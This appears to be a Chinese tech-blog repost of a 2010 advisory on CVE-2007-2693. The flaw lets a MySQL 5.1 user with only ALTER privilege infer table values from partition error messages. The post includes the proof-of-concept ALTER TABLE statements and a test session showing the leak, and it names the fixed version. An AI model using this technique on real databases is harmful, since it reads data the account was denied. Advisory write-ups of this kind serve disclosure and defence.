当前位置:首页 > 系统运维 > 正文内容

导致MySQL Alter Table函数信息泄露的原因

a8116255316年前 (2010-05-18)系统运维11

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

影响系统:

MySQL AB MySQL 5.1.x < 5.1.18  

不受影响系统:

MySQL AB MySQL 5.1.18  

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:

ALTER TABLE table1 PARTITION BY LIst (column1) (PARTITION x VALUES IN (0));  

MySQL会返回错误消息:

"Table has no partition for value 18".  

这样该用户就可以知道存在column1 = 18的列。

测试 *** :

以root用户发布:

mysql> create table tu (s1 int);   Query OK, 0 rows affected (0.00 sec)   mysql> insert into tu values (1);   Query OK, 1 row affected (0.00 sec)   mysql> grant alter on tu to molly@localhost;   Query OK, 0 rows affected (0.01 sec)    

以molly@localhost发布:

mysql> select * from tu;   ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   'tu'   mysql> alter table tu partition by list (s1) (partition p1 values in (1));   Query OK, 1 row affected (0.05 sec)   Records: 1 Duplicates: 0 Warnings: 0   mysql> alter table tu partition by list (s1) (partition p1 values in (2));   ERROR 1513 (HY000): Table has no partition for value 1  

上面说了这么多内容,是关于对MySQL Alter Table函数信息泄露漏洞的介绍,不知道各位对MySQL的认识是不是更上一层楼了,时时关注ITjs,学习最新Mysql技术。

扫描二维码推送至手机访问。

版权声明:本文由2345好导航站长资讯发布,如需转载请注明出处。

本文链接:http://www.2345hao.cn/blog/index.php/post/20402.html

分享给朋友:

“导致MySQL Alter Table函数信息泄露的原因” 的相关文章

Windows7开机后出现黑一下屏性能降低

Windows7开机后出现黑一下屏性能降低

打开IE浏览器的时候、聊QQ的时候、玩游戏的时候… … 这到底是谁惹的祸呢? 很多人都知道Windows 7桌面特效全部开启会使系统性能降低,那到底是哪个特效导致的这一情况呢? 解决办法: 右键计算机,高级系统设置-性能-设置-关闭”任务栏和开始菜单使用动画“和”最大化和最小化动态显示窗口“...

windows 7系统件夹和文件都不显示名字如何解决

windows 7系统件夹和文件都不显示名字如何解决

假如碰到电脑里的文件夹和文件全都不显示名字了(如下图),是不是电脑中毒了呢 请教下笔者有没好的解决方法!下面是笔者给出的答案,希望能够帮助到大家! 首先打开你用来装图片的文件夹(缩略图下面的文字不显示的文件夹),然后但击工具栏上的“查看”选择“平铺”, 下面就是关键:要按住SHIFT键不...

windows 7 xp宋体 成功替换windows 7宋体为XP宋体的方法

windows 7 xp宋体 成功替换windows 7宋体为XP宋体的方法

很多朋友从XP升级迈入了Windows 7的殿堂,却发现,Windows 7确实好用和华丽,可是有一些地方不太适应。今天举出一则例子,是把Windows 7系统下的宋体替换为XP系统下的字体。这个并非无聊,大家去网上搜索下,就知道有多少人想要这么做了。 没办法,每人的需求总是那么的不同,好吧,怀旧...

windows 7禁用粘滞键(连续按 Shift 五次)的方法

windows 7禁用粘滞键(连续按 Shift 五次)的方法

我们都知道连续按 Shift 五次可以启用或关闭粘滞键,但是假如我们不需要粘滞键,想要将它禁用该怎么设置呢?现在小编就教你解决这个问题的方法吧。 具体操作步骤如下: 1、首先依次点击“开始—控制面板—轻松访问中心—使键盘更容易进行使用”项; 2、在弹出来的界面中,取消勾选“启用粘滞键”...

去掉电脑右下角出现windows 7测试模式内部版本7601的方法

去掉电脑右下角出现windows 7测试模式内部版本7601的方法

电脑桌面右下角出现测试模式 Windows 7 内部版本7601如何去掉?不知道大家是否存在这个问题,前段时间作者刚刚处理了这个事情,现将处理步骤介绍如下。 1、单击“开始”——“所有程序” 2、打开“附件” 3、找到“命令行提示符”,右键选择“以管理员身份运行” 4、在命令行窗...

怎么找出藏在windows 7中的Windows Mail

怎么找出藏在windows 7中的Windows Mail

有一个方法很简单,只需4个小步骤就可以找出藏在Windows 7中的Windows Mail。原先有很多朋友都以为Windows Mail在Windows 7中已经被抹杀掉了,其实不然,它只是被隐藏起来了。假如你想恢复Windows Mail邮件客户端,只要将Vista中的msoe.dll文件覆盖W...